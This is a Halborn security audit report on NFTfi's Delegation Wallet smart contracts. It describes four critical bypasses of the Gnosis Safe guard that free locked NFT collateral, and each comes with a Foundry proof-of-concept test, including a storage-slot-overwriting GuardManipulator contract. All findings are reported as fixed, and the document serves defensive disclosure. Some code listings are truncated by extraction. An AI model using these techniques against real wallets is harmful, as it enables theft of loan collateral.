

# NFTfi - Delegation Wallet

Smart Contract Security Audit

Prepared by: Halborn

Date of Engagement: February 6th, 2023 - March 6th, 2023

Visit: Halborn.com

DOCU	MENT REVISION HISTORY	5
CONT	ACTS	6
1	EXECUTIVE OVERVIEW	7
1.1	INTRODUCTION	8
1.2	AUDIT SUMMARY	8
1.3	TEST APPROACH & METHODOLOGY	8
	RISK METHODOLOGY	9
1.4	SCOPE	11
2	ASSESSMENT SUMMARY & FINDINGS OVERVIEW	12
3	FINDINGS & TECH DETAILS	13
3.1	(HAL-01) LOCKED/FROZEN CRYPTOPUNKS CAN BE TRANSFERRED OUT THE WALLET - CRITICAL	OF 15
	Description	15
	Code Location	16
	Proof of Concept	16
	Risk Level	19
	Recommendation	19
	Remediation Plan	20
	References	20
3.2	(HAL-02) DELEGATIONCALLS FROM SAFE GNOSIS ALLOW TO MANIPULA WALLET INTERNAL STORAGE - CRITICAL	ATE 21
	Description	21
	Code Location	22
	Proof of Concept	23
	Risk Level	26

	Recommendation	26
	Remediation Plan	26
	References	26
3.3	(HAL-03) SAFE GNOSIS GUARD CAN BE BYPASSED BY USING WA MODULES - CRITICAL	LLET 27
	Description	27
	Code Location	28
	Proof of Concept	29
	Risk Level	31
	Recommendation	31
	Remediation Plan	31
	References	32
3.4	(HAL-04) SAFE GNOSIS FALLBACK SETTER ALLOWS TO TRANSFER AS OUT OF THE WALLET - CRITICAL	SETS 33
	Description	33
	Code Location	34
	Proof of Concept	35
	Risk Level	37
	Recommendation	37
	Remediation Plan	37
	References	37
3.5	(HAL-05) ADDITIONAL WALLETS ARE IGNORED IN BORROWS - LOW	38
	Description	38
	Code Location	39
	Risk Level	39
	Recommendation	39
	Remediation Plan	39

3.6	(HAL-06) ARRAYS SPECIFIED IN ARGUMENTS SHOULD HAVE SAME LENGTH LOW	H - 41
	Description	41
	Code Location	41
	Risk Level	42
	Recommendation	42
	Remediation Plan	42
3.7	(HAL-07) SOLC 0.8.4 COMPILER VERSION CONTAINS MULTIPLE BUGS	6 - 43
	Description	43
	Risk Level	43
	Recommendation	43
	Remediation Plan	43
3.8	(HAL-08) OPEN TO-DOS - INFORMATIONAL	44
	Description	44
	Code Location	44
	Risk Level	44
	Recommendation	45
	Remediation Plan	45
3.9	(HAL-09) USE ++I INSTEAD OF I++ IN LOOPS FOR GAS OPTIMIZATION INFORMATIONAL	N - 46
	Description	46
	Code Location	46
	Risk Level	47
	Recommendation	47
	Remediation Plan	48
3.10	(HAL-10) USE OF INLINE ASSEMBLY - INFORMATIONAL	49
	Description	49

	Code Location	49
	Risk Level	49
	Recommendation	49
	Remediation Plan	50
3.11	(HAL-11) USE CUSTOM ERRORS INSTEAD OF REVERT STRINGS TO S. GAS - INFORMATIONAL	AVE 51
	Description	51
	Risk Level	51
	Recommendation	51
	Remediation Plan	51
4	AUTOMATED TESTING	52
4.1	STATIC ANALYSIS REPORT	53
	Description	53
	Results	53
4.2	AUTOMATED SECURITY SCAN	54
	Description	54
	MythX results	54
5	APPENDIX	55
5.1	ADDITIONAL CODE	56
	Config.sol diffing patch	56
	ICryptoPunksMarket.sol interface	57

# DOCUMENT REVISION HISTORY

VERSION MODIFICATION		DATE	AUTHOR
0.1	Document Creation	02/20/2023	Alejandro Taibo
0.2	Document Updates	03/03/2023	Alejandro Taibo
0.3	Final Draft	03/06/2023	Alejandro Taibo
0.4	Draft Review	03/06/2023	Gokberk Gulgun
0.5	Draft Review	03/06/2023	Gabi Urrutia
1.0	Remediation Plan	03/10/2023	Alejandro Taibo
1.1	Remediation Plan Review	03/10/2023	Gokberk Gulgun
1.2	Remediation Plan Review	03/10/2023	Gabi Urrutia

# CONTACTS

CONTACT	COMPANY	EMAIL	
Rob Behnke	Halborn	Rob.Behnke@halborn.com	
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com	
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com	
Gokberk Gulgun	Halborn	Gokberk.Gulgun@halborn.com	
Alejandro Taibo	Halborn	Alejandro.Taibo@halborn.com	

# EXECUTIVE OVERVIEW

### 1.1 INTRODUCTION

NFTfi engaged Halborn to conduct a security audit on their smart contracts beginning on February 6th, 2023 and ending on March 6th, 2023. The security assessment was scoped to the smart contracts provided to the Halborn team.

### 1.2 AUDIT SUMMARY

The team at Halborn was provided two weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some major security risks that were successfully addressed by the NFTfi team.

### 1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the audit:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions. (solgraph)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Scanning of solidity files for vulnerabilities, security hot-spots or bugs. (MythX)
- Static Analysis of security for scoped contract, and imported functions. (Slither)
- Testnet deployment. (Brownie, Anvil, Foundry)

#### RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the LIKELIHOOD of a security incident and the IMPACT should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

#### RISK SCALE - LIKELIHOOD

- 5 Almost certain an incident will occur.
- 4 High probability of an incident occurring.
- 3 Potential of a security incident in the long term.
- 2 Low probability of an incident occurring.
- 1 Very unlikely issue will cause an incident.

#### RISK SCALE - IMPACT

- 5 May cause devastating and unrecoverable impact or loss.
- 4 May cause a significant level of impact or loss.

- 3 May cause a partial impact or loss to many.
- 2 May cause temporary impact or loss.
- 1 May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
----------	------	--------	-----	---------------

10 - CRITICAL

9 - 8 - HIGH

**7 - 6** - MEDIUM

**5 - 4** - LOW

3 - 1 - VERY LOW AND INFORMATIONAL

### 1.4 SCOPE

#### CODE REPOSITORIES:

- Repository: delegation-wallet
- Commit ID: e40259995735408fbf80fd17c8e1606d2e34fa3d
- Smart contracts in scope:
  - All smart contracts under /src folder.
- Repository: eth.nftfi
- Commit ID: be2352eda817e11da58cd285f1e79a566f397e3e
- Smart contracts in scope:
  - -/contracts/loans/direct/loanTypes/DirectLoanFixedOfferExternalEscrow.sol.

#### REMEDIATION PLAN PULL REQUESTS:

- delegation-wallet
- eth.nftfi

#### REMEDIATION COMMIT IDs:

- b230d85f1005cc58d44e65c1d880e483f8c76d2b
- e1ca4770099e5d5a3c384a781ef96aa7d0caaf4d
- 337d66c26a9e9d24f9f16e8c3c9c1a3ba71dffe7
- 6ca41cf43fd4df1e3425b7f6fe75eb551916299e
- 2fff7a930d985061d34620302abbe432f9b37456
- 8f36def1bb1db52ae9b63cae7aee5128383eb937
- 387a66526c489bf6d1d1ef397cd4c70763f1fa42
- 803dfb566c43efb5538656aa1fe2e93e7188eb98
- 8b6c202e24069fdfbee52479749e2f3a4f17ba52
- 2f793c06e4526baa9b772495e604dc18ceef6305

# 2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
4	0	0	2	5

## LIKELIHOOD

			(HAL-01) (HAL-02) (HAL-03) (HAL-04)
(HAL-05)			
(HAL-07)	(HAL-06)		
(HAL-08) (HAL-09) (HAL-10) (HAL-11)			

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL-01 - LOCKED/FROZEN CRYPTOPUNKS CAN BE TRANSFERRED OUT OF THE WALLET	Critical	SOLVED - 03/10/2023
HAL-02 - DELEGATIONCALLS FROM SAFE GNOSIS ALLOW TO MANIPULATE WALLET INTERNAL STORAGE	Critical	SOLVED - 03/10/2023
HAL-03 - SAFE GNOSIS GUARD CAN BE BYPASSED BY USING WALLET MODULES	Critical	SOLVED - 03/10/2023
HAL-04 - SAFE GNOSIS FALLBACK SETTER ALLOWS TO TRANSFER ASSETS OUT OF THE WALLET	Critical	SOLVED - 03/10/2023
HAL-05 - ADDITIONAL WALLETS ARE IGNORED IN BORROWS	Low	SOLVED - 03/10/2023
HAL-06 - ARRAYS SPECIFIED IN ARGUMENTS SHOULD HAVE SAME LENGTH	Low	SOLVED - 03/10/2023
HAL-07 - OPEN TO-DOS	Informational	SOLVED - 03/10/2023
HAL-08 - USE ++I INSTEAD OF I++ IN LOOPS FOR GAS OPTIMIZATION	Informational	SOLVED - 03/10/2023
HAL-09 - USE OF INLINE ASSEMBLY	Informational	SOLVED - 03/10/2023
HAL-10 - SOLC 0.8.4 COMPILER VERSION CONTAINS MULTIPLE BUGS	Informational	SOLVED - 03/10/2023
HAL-11 - USE CUSTOM ERRORS INSTEAD OF REVERT STRINGS TO SAVE GAS	Informational	SOLVED - 03/10/2023

# FINDINGS & TECH DETAILS

# 3.1 (HAL-01) LOCKED/FROZEN CRYPTOPUNKS CAN BE TRANSFERRED OUT OF THE WALLET - CRITICAL

#### Description:

The Delegation Wallet is built on the top of Gnosis Safe Multisignature Wallet, one of the features of this multi-signature wallet is that it allows to specify a smart contract which will be executed before and after a transaction is made through the wallet, this is done via checkTransaction and checkAfterExecution function hooks.

For this purpose, the DelegationGuard smart contract implements checkTransaction function hook in order to prevent from executing some functions over the NFT used as collateral, which in this case will be a CryptoPunks NFT. Since this Delegation Wallet aims to store an NFT used as collateral in a loan, the guard used in Gnosis Safe side should prevent from any execution that allows to transfer a NFT involved in an ongoing loan out of the wallet. So, the \_checkLocked function is used to verify the selector that is about to be executed by the multi-signature wallet and revert the transaction in case of identifying a function which involves the locked NFT in a transfer out of this wallet.

As explained above and following the implementation of \_checkLocked function, in case of an owner who wants to operate with a locked NFT, specifically CryptoPunks, several functions from CryptoPunksMarket contract are blocked from being executed in order to ensure these NFTs keep in the wallet during the locking period. Some of these blocked functions are transferPunk, offerPunkForSale and offerPunkForSaleToAddress.

However, there is another function implemented in CryptoPunksMarket that allows transferring CryptoPunks NFTs which are not being blocked. This function is named acceptBidForPunk and it allows transferring NFTs after accepting a bid, allowing an owner to transfer CryptoPunks NFTs even if these are locked or frozen by the protocol.

#### Code Location:

```
Listing 1: src/DelegationGuard.sol
192 function _checkLocked(address _to, bytes calldata _data) internal
→ view {
       bytes4 selector = _getSelector(_data);
       if (_to == cryptoPunks) {
           if (selector == ICryptoPunks.transferPunk.selector) {
               (, uint256 assetId) = abi.decode(_data[4:], (address,
\downarrow uint256));
               if (_isDelegating(_to, assetId) || _isLocked(_to,

    assetId))
                   revert DelegationGuard__checkLocked_noTransfer();
           } else if (selector == ICryptoPunks.offerPunkForSale.
 → selector) {
               (uint256 assetId, ) = abi.decode(_data[4:], (uint256,
→ uint256));
               if (_isDelegating(_to, assetId) || _isLocked(_to,

    assetId))
                   revert DelegationGuard__checkLocked_noApproval();
           } else if (selector == ICryptoPunks.
 → offerPunkForSaleToAddress.selector) {
               (uint256 assetId, , ) = abi.decode(_data[4:], (uint256
if (_isDelegating(_to, assetId) || _isLocked(_to,

    assetId))
                   revert DelegationGuard__checkLocked_noApproval();
           }
       } else {
```

#### Proof of Concept:

In order to exploit this issue, an attacker just has to be involved in a loan which would lock a CryptoPunks NFT, storing it in the Safe Gnosis wallet and follow the next steps:

- 1. The attacker has to create a bid for the NFT id stored in the wallet from the CryptoPunksMarket contract by executing the enterBidForPunk.
- 2. The attacker has to accept the bid from the Gnosis Safe wal-

let by executing the acceptBidForPunk function implemented in CryptoPunksMarket contract.

3. The collateralized NFT gets transferred out of the Gnosis Safe wallet.

The test\_TransferLockedAsset test described below and developed in Foundry passes, proving a successful exploitation of this issue following the aforementioned steps:

```
Listing 2: test/ProofOfConcept.t.sol
 3 pragma solidity 0.8.17;
 5 import "forge-std/Test.sol";
 7 import { DelegationOwner, DelegationGuard, DelegationWalletFactory
 9 import { IGnosisSafe } from "../src/interfaces/IGnosisSafe.sol";
11 import { GS } from "../src/test/GS.sol";
13 import { IERC721 } from "@openzeppelin/contracts/token/ERC721/
14 import { Enum } from "@gnosis.pm/safe-contracts/contracts/common/
15 import { OwnerManager, GuardManager, GnosisSafe } from "@gnosis.pm
17 contract ProofOfConcept is ConfigPOC {
      uint256 private expiry;
       address constant private REAL_OWNER = 0
→ x052564eB0fd8b340803dF55dEf89c25C432f43f4;
       uint256 constant private TARGET_PUNKID = 407;
       function setUp() public {
          vm.prank(kakaroto);
```

```
(safeProxy, delegationOwnerProxy, delegationGuardProxy) =

    delegationWalletFactory.deploy(
          );
          safe = GnosisSafe(payable(safeProxy));
          delegationOwner = DelegationOwner(delegationOwnerProxy);
          delegationGuard = DelegationGuard(delegationGuardProxy);
          vm.prank(REAL_OWNER);
          testPunks.transferPunk(address(safeProxy), TARGET_PUNKID);
          assertEq(testPunks.punkIndexToAddress(TARGET_PUNKID),

    address(safeProxy));
          expiry = block.timestamp + 10 days;
      function test_TransferLockedAsset() public {
          vm.prank(delegationOwnerProxy);
          delegationGuard.lockAsset(address(testPunks),

    TARGET_PUNKID);

          vm.startPrank(kakaroto);
          testPunks.enterBidForPunk{value: 1 ether}(TARGET_PUNKID);
          bytes memory payload = abi.encodeWithSelector(
              TARGET_PUNKID,
              1 ether
          );
          bytes memory tSig = getTransactionSignature(
              kakarotoKey,
              address(testPunks),
              payload,
          );
              address(testPunks),
```

```
$ forge test -vv --fork-url https://eth.llamarpc.com --fork-block-number 1662
1754 -m test_TransferLockedAsset
[-] Compiling...
[-] Compiling 17 files with 0.8.17
[-] Solc 0.8.17 finished in 9.91s
Compiler run successful

Running 1 test for test/ProofOfConcept.t.sol:ProofOfConcept
[PASS] test_TransferLockedAsset() (gas: 233284)
Test result: ok. 1 passed; 0 failed; finished in 18.92ms
```

Files required to execute properly this test such as Config.sol diffing patch and ICryptoPunksMarket.sol interface have been included in the Appendix of this document.

#### Risk Level:

Likelihood - 5 Impact - 5

#### Recommendation:

It is recommended to prohibit the usage of the acceptBidForPunk function selector in order to avoid unintended transfers of locked collateral.

#### Remediation Plan:

**SOLVED:** The NFTfi team solved this issue by blocking the usage of the acceptBidForPunk function selector.

**COMMIT ID:** b230d85f1005cc58d44e65c1d880e483f8c76d2b

#### References:

CryptoPunksMarket.sol#L211

# 3.2 (HAL-02) DELEGATIONCALLS FROM SAFE GNOSIS ALLOW TO MANIPULATE WALLET INTERNAL STORAGE - CRITICAL

#### Description:

In addition to the description made in HAL-01 about Gnosis Safe Multisignature Wallet, this wallet also allows selecting the type of operation to perform in a transaction through Gnosis Safe. These operations are defined in Enum smart contract, which defines two types: Call and DelegateCall.

These two operators are crucial to define how a function call will be executed by the Gnosis Safe wallet as it is defined in Executor smart contract:

```
Listing 3: contracts/base/Executor.sol (Lines 22,25)
18 function execute(
       address to,
       uint256 value,
       bytes memory data,
       uint256 txGas
24 ) internal returns (bool success) {
       if (operation == Enum.Operation.DelegateCall) {
            assembly {
                success := delegatecall(txGas, to, add(data, 0x20),
\rightarrow mload(data), 0, 0)
       } else {
            assembly {
                success := call(txGas, to, value, add(data, 0x20),
\rightarrow mload(data), 0, 0)
36 }
```

Since DelegationGuard contract is not handling which Enum.Operation is about to be executed through the Gnosis Safe wallet, a malicious owner can execute transactions to an arbitrary smart contracts by using Enum. Operation.DelegateCall in order to manipulate the Gnosis Safe contract's internal storage and even transfer locked NFTs out of the delegation wallet by taking advantage of this manipulation.

Code Location:

```
Listing 4: src/DelegationGuard.sol (Line 85)
81 function checkTransaction(
       uint256,
       bytes calldata _data,
       uint256,
       uint256,
       uint256,
       address,
       address payable,
       bytes memory,
       address _msgSender
93 ) external view override {
       if (_msgSender != delegationOwner && checkAsset[_to]) {
           _checkLocked(_to, _data);
       _checkApproveForAll(_data);
       _checkConfiguration(_to, _data);
106 }
```

#### Proof of Concept:

In order to exploit this issue, an attacker just has to be involved in a loan which would lock a CryptoPunks or a standard ERC721 NFT, storing it in the Safe Gnosis wallet and follow the next steps:

- 1. The attacker deploys a malicious smart contract that allows to modify a specific slot in the storage, in this case, the slot where the guard's address is stored will be the target.
- 2. The attacker performs a DelegateCall operation through Gnosis Safe wallet to the malicious smart contract previously deployed. In this case, the smart contract allows setting an arbitrary address for the Gnosis Safe wallet's guard. By setting this value to 0 no smart contract will be called before/after the transaction is made through the wallet.
- 3. Since no smart contract will be called before/after the call is performed, the attacker can proceed to transfer the NFT used as collateral without restrictions.

The test\_ManipulateGuard test described below and developed in Foundry passes, proving a successful exploitation of this issue following the aforementioned steps:

```
Listing 5: test/ProofOfConcept.t.sol

1 function test_ManipulateGuard() public {
2    vm.prank(delegationOwnerProxy);
3    delegationGuard.lockAsset(address(testPunks), TARGET_PUNKID);
4
5    vm.startPrank(kakaroto);
6
7    console.log("Guard (before):", address(uint160(bytes20(safe.
L, getStorageAt(uint256(GUARD_STORAGE_SLOT), 32)))));
8
9    // [1] Deploys malicious smart contract
10    GuardManipulator guardMan = new GuardManipulator();
11
12    // [2] Perform a `DelegateCall` to the malicious smart
L, contract
```

```
bytes memory payload = abi.encodeWithSelector(
          address(0)
      );
      bytes memory tSig = getTransactionSignature(
          address(guardMan),
          payload,
          Enum.Operation.DelegateCall
      );
      safe.execTransaction(
          address(guardMan),
          0,
          payload,
          Enum.Operation.DelegateCall,
          0,
          0,
          0,
          address(0),
          payable(0),
      );
      console.log("Guard (after):", address(uint160(bytes20(safe.

    getStorageAt(uint256(GUARD_STORAGE_SLOT), 1))));
      payload = abi.encodeWithSelector(
          address(kakaroto),
      );
      tSig = getTransactionSignature(
          address(testPunks),
          payload,
          Enum.Operation.Call
      );
```

```
54     safe.execTransaction(
55          address(testPunks),
56          0,
57          payload,
58          Enum.Operation.Call,
59          0,
60          0,
61          0,
62          address(0),
63          payable(0),
64          tSig
65     );
66
67     vm.stopPrank();
68     assertEq(testPunks.punkIndexToAddress(TARGET_PUNKID), address(
L, kakaroto));
69 }
```

```
Listing 6: test/GuardManipulator.sol

1 contract GuardManipulator {
2
3    // https://github.com/safe-global/safe-contracts/blob/main/
L, contracts/base/GuardManager.sol#L42
4    bytes32 internal constant GUARD_STORAGE_SLOT = 0
L, x4a204f620c8c5ccdca3fd54d003badd85ba500436a431f0cbda4f558c93c34c8;
5
6    function manipulateGuard(address guard) external {
7        bytes32 slot = GUARD_STORAGE_SLOT;
8        // solhint-disable-next-line no-inline-assembly
9        assembly {
10             sstore(slot, guard)
11        }
12    }
13 }
```

This test function can be included in the test file included in HAL-01 for a successful execution.

#### Risk Level:

Likelihood - 5 <u>Impact - 5</u>

#### Recommendation:

Consider handling the aforementioned Enum.Operation.DelegateCall operations in the wallet to prevent from any possible internal storage manipulation in the Gnosis Safe wallet, as it was described above in the proof of concept.

#### Remediation Plan:

**SOLVED:** The NFTfi team solved this issue by blocking the usage of Enum. Operation.DelegateCall operations.

**COMMIT ID:** e1ca4770099e5d5a3c384a781ef96aa7d0caaf4d

#### References:

- Enum.sol#L8
- Executor.sol#L22

# 3.3 (HAL-03) SAFE GNOSIS GUARD CAN BE BYPASSED BY USING WALLET MODULES - CRITICAL

#### Description:

Besides, it was described about Gnosis Safe Multisignature Wallet in aforementioned issues, this wallet also works with trusted modules, which can execute arbitrary transactions without restrictions once a module is registered in Gnosis Safe wallet since transactions made by a module are directly transferred to the Executor implementation and, hence, get executed.

Therefore, Gnosis Safe wallet has two relevant functions to add modules and execute transactions from authorized modules, such as it is specified in the following code:

```
Listing 7: contracts/base/ModuleManager.sol

46 function enableModule(address module) public authorized {
47     // Module address cannot be null or sentinel.
48     require(module != address(0) && module != SENTINEL_MODULES, "
49     // Module cannot be added twice.
50     require(modules[module] == address(0), "GS102");
51     modules[module] = modules[SENTINEL_MODULES];
52     modules[SENTINEL_MODULES] = module;
53     emit EnabledModule(module);
54 }
```

```
Listing 8: contracts/base/ModuleManager.sol

80 function execTransactionFromModule(
81 address to,
82 uint256 value,
83 bytes memory data,
84 Enum.Operation operation
85 ) public virtual returns (bool success) {
86 // Only whitelisted modules are allowed.
```

```
require(msg.sender != SENTINEL_MODULES && modules[msg.sender]

!= address(0), "GS104");

// Execute transaction without further confirmations.

success = execute(to, value, data, operation, type(uint256).

| max);

if (success) emit ExecutionFromModuleSuccess(msg.sender);

else emit ExecutionFromModuleFailure(msg.sender);

2 }
```

As it was explained in HAL-01 issue, the guard used by the delegation wallet blocks several function selectors related to transferring NFTs out of the wallet, but also blocks several functions related to Gnosis Safe internal configuration that would allow an owner to manipulate, for instance, the wallet's owners or the guard address.

Knowing this, a malicious owner could enable itself as a valid module, due enableModule function is not blocked in DelegationGuard, and execute transactions by using the execTransactionFromModule function implemented in Gnosis Safe wallet, which would allow executing function calls without any restrictions and transfer assets, such as NFTs used as collateral, out of the Gnosis Safe wallet.

Code Location:

#### Proof of Concept:

In order to exploit this issue, an attacker just has to be involved in a loan which would lock a CryptoPunks or a standard ERC721 NFT, storing it in the Safe Gnosis wallet and follow the next steps:

- 1. The attacker has to enable as module an account under its control by executing the enableModule function.
- 2. Once an arbitrary account has been added as module, the attacker has to perform transactions from execTransactionFromModule function instead of the regular method used in Gnosis Safe wallet. Since these modules are trusted by default, any function can be executed through the wallet without restrictions.

The test\_TransferWithModules test described below and developed in Foundry passes, proving a successful exploitation of this issue following the aforementioned steps:

```
Listing 10: test/ProofOfConcept.t.sol

1 function test_TransferWithModules() public {
2    vm.prank(delegationOwnerProxy);
3    delegationGuard.lockAsset(address(testPunks), TARGET_PUNKID);
4
5    vm.startPrank(kakaroto);
6
7    console.log("Is module enabled:", safe.isModuleEnabled(
L, kakaroto));
```

```
bytes memory payload = abi.encodeWithSelector(
          address(kakaroto)
      );
      bytes memory tSig = getTransactionSignature(
          kakarotoKey,
          address(safe),
          payload,
          Enum. Operation. Call
      );
      safe.execTransaction(
          address(safe),
          0,
          0,
          0,
          0,
          address(0),
          payable(0),
      );
      assertEq(safe.isModuleEnabled(kakaroto), true);
      console.log("Is module enabled:", safe.isModuleEnabled(

    kakaroto));
      payload = abi.encodeWithSelector(
          address(kakaroto),
      );
      safe.execTransactionFromModule(
          address(testPunks),
          Enum.Operation.Call
```

```
:.../delegation-wallet$ forge test -vv --fork-url https://eth.llamarpc.com --fork-block-number 1662
1754 -m test_TransferWithModules
['] Compiling...
[:] Compiling 1 files with 0.8.17
[-] Solc 0.8.17 finished in 3.46s
Compiler run successful

Running 1 test for test/ProofOfConcept.t.sol:ProofOfConcept
[PASS] test_TransferWithModules() (gas: 222691)
Logs:
    Is module enabled: false
    Is module enabled: true

Test result: 0k. 1 passed; 0 failed; finished in 8.77ms
```

This test function can be included in the test file included in HAL-01 for a successful execution.

#### Risk Level:

Likelihood - 5 Impact - 5

#### Recommendation:

It is recommended to ban some function selectors involved in this issue, such as enableModule, disableModule, execTransactionFromModule and execTransactionFromModuleReturnData, in order to block this method to transfer assets out of the wallet during an ongoing loan.

#### Remediation Plan:

**SOLVED**: The NFTfi team solved this issue by blocking the usage of the enableModule function selector.

COMMIT ID: 337d66c26a9e9d24f9f16e8c3c9c1a3ba71dffe7

#### References:

- ModuleManager.sol#L46
- ModuleManager.sol#L80

# 3.4 (HAL-04) SAFE GNOSIS FALLBACK SETTER ALLOWS TO TRANSFER ASSETS OUT OF THE WALLET - CRITICAL

#### Description:

Apart from the described Gnosis Safe Multisignature Wallet features in previous issues, this wallet also includes the capability of modifying the fallback handler for incoming calls to the wallet. Therefore, an owner can set an arbitrary smart contract as a fallback handler which will be executed when a function selector is not found in Gnosis Safe wallet contracts. This feature is implemented by the FallbackManager contract, as it specified in its code:

```
Listing 11: contracts/base/FallbackManager.sol

34 function setFallbackHandler(address handler) public authorized {
35    internalSetFallbackHandler(handler);
36    emit ChangedFallbackHandler(handler);
37 }
```

As it was explained in HAL-01 and HAL-03 issues, the guard used by the delegation wallet blocks several function selectors related to transferring NFTs out of the wallet, but also blocks several functions related to Gnosis Safe internal configuration that would allow an owner to manipulate, for instance, the wallet's owners or the guard address.

Since setFallbackHandler is not blocked by the DelegationGuard contract, a malicious owner could set a NFT contract as fallback handler in order to make unrestricted function calls on behalf of the Safe Gnosis wallet, due these calls made to an unimplemented function selector in the wallet will be redirected to the specified fallback handler, which would allow transferring NFTs out of the wallet.

#### Code Location:

```
248 ) revert

Ly DelegationGuard__checkConfiguration_ownershipChangesNotAllowed();
249
250  // Guard change not allowed
251  if (selector == GuardManager.setGuard.selector)
252  revert

Ly DelegationGuard__checkConfiguration_guardChangeNotAllowed();
253 }
254 }
```

#### Proof of Concept:

In order to exploit this issue, an attacker just has to be involved in a loan which would lock a CryptoPunks or a standard ERC721 NFT, storing it in the Safe Gnosis wallet and follow the next steps:

- 1. An attacker sets the contract of the locked NFT as the new fallback handler by calling the setFallbackHandler function through Gnosis Safe wallet.
- 2. Then, the attacker can perform calls by using function selectors from the NFT contract directly to the wallet. Since the NFT contract has been set as the new fallback handler, these function calls will be redirected to the NFT contract on behalf of the wallet.

The test\_TransferWithFallback test described below and developed in Foundry passes, proving a successful exploitation of this issue following the aforementioned steps:

```
Listing 14: test/ProofOfConcept.t.sol

205 function test_TransferWithFallback() public {
206    vm.prank(delegationOwnerProxy);
207    delegationGuard.lockAsset(address(testPunks), TARGET_PUNKID);
208
209    vm.startPrank(kakaroto);
210
211    // [1] Call `setFallbackHandler` to set the NFT contract as
```

```
bytes memory payload = abi.encodeWithSelector(
            address(testPunks)
       );
       bytes memory tSig = getTransactionSignature(
            kakarotoKey,
            address(safe),
            Enum. Operation. Call
       );
       safe.execTransaction(
            address(safe),
           0,
           Enum.Operation.Call,
           0,
           0,
           0,
            address(0),
           payable(0),
       );
       payload = abi.encodeWithSelector(
            address(kakaroto),
       );
       (bool success, bytes memory data) = address(safe).call(payload
→ );
       vm.stopPrank();
       assertEq(testPunks.punkIndexToAddress(TARGET_PUNKID), address(

    kakaroto));
248 }
```

This test function can be included in the test file specified in HAL-01 for a successful execution.

#### Risk Level:

Likelihood - 5 Impact - 5

#### Recommendation:

Consider prohibiting some function selectors involved in this issue, such as setFallbackHandler, in order to block this method to transfer assets out of the wallet during an ongoing loan.

#### Remediation Plan:

**SOLVED**: The NFTfi team solved this issue by blocking the usage of setFallbackHandler function selector.

**COMMIT ID:** 6ca41cf43fd4df1e3425b7f6fe75eb551916299e

#### References:

- FallbackManager.sol#L34
- FallbackManager.sol#L45

## 3.5 (HAL-05) ADDITIONAL WALLETS ARE IGNORED IN BORROWS - LOW

#### Description:

In DirectLoanFixedOfferExternalEscrow smart contract, when an offer is accepted by a borrower calling acceptOfferfunction or delegating the call to another accounts and calling acceptOfferRelayed function instead, the protocol needs to collect information about the borrower's escrow in order to perform different actions such as to lock the NFT used as collateral in the loan. For this purpose, the \_getEscrowData function is executed during \_setupLoanExtrasExternal call when a loan is accepted, in this function the protocol tries to gather information about the borrower's escrow by executing getOwnerWalletAt function implemented in the DelegationWalletRegistry smart contract.

The DelegationWalletRegistry smart contract stores relevant information about every wallet that has been registered during its creation by using mappings and EnumerableSet internally in this contract. This EnumerableSet library is used to store the wallet's addresses associated to a single owner in case an account owns more than one escrow. Therefore, an account can own multiple escrows following the aforementioned implementation defined in this smart contract.

However, \_getEscrowData function always picks the index 0 as argument in getOwnerWalletAt function; thus, the protocol always selects the first wallet owned by the borrower, ignoring the rest that this account could have.

#### Code Location:

### 

```
Listing 16: src/DelegationWalletRegistry.sol

116 function getOwnerWalletAt(address _owner, uint256 _index) external

Ly view returns (Wallet memory) {

117     return wallets[walletsByOwner[_owner].at(_index)];

118 }
```

#### Risk Level:

#### Likelihood - 1 Impact - 3

#### Recommendation:

Ensure that borrowers be allowed to specify the wallet they want to use to avoid further problems.

#### Remediation Plan:

**SOLVED**: The NFTfi team solved this issue by changing logic on the related functions.

# 3.6 (HAL-06) ARRAYS SPECIFIED IN ARGUMENTS SHOULD HAVE SAME LENGTH -

#### Description:

In DelegationRecipes smart contract, an owner is allowed to either add or remove functions that later can be executed through the Delegation Wallet. The implementation behind every proxy will always use the same DelegationRecipes smart contract, since its address is set during the construction, in order to consult whether a function is allowed or not in a delegated context inside the wallet.

There are two functions in charge of adding/removing allowed functions, these are add and remove functions, both can be called by specifying several arrays as parameters. The values of these arrays are accessed in a loop, where the loop's limit is set by \_contracts.length value. However, these functions are not verifying if the length of all arrays is equal, therefore an access out-of-bound can be produced if one of the arrays has a length < \_contracts.length.

#### Code Location:

```
Listing 17: src/DelegationRecipes.sol (Lines 35-37)

33 function add(
34   address _collection,
35   address[] calldata _contracts,
36   bytes4[] calldata _selectors,
37   string[] calldata _descriptions
38 ) external onlyOwner {
39   // TODO - validate arity
40
41   bytes32 functionId;
42   uint256 length = _contracts.length;
43   for (uint256 i; i < length; ) {
44   functionId = keccak256(abi.encodePacked(_collection,
```

```
Ly _contracts[i], _selectors[i]));
45         functionByCollection[_collection].add(functionId);
46         functionDescriptions[functionId] = _descriptions[i];
```

#### Risk Level:

Likelihood - 2 Impact - 2

#### Recommendation:

It is recommended to check if all these arrays specified in arguments have the same length to prevent from this kind of issue.

#### Remediation Plan:

SOLVED: The NFTfi team solved this issue by checking array lengths.

**COMMIT ID:** 8f36def1bb1db52ae9b63cae7aee5128383eb937

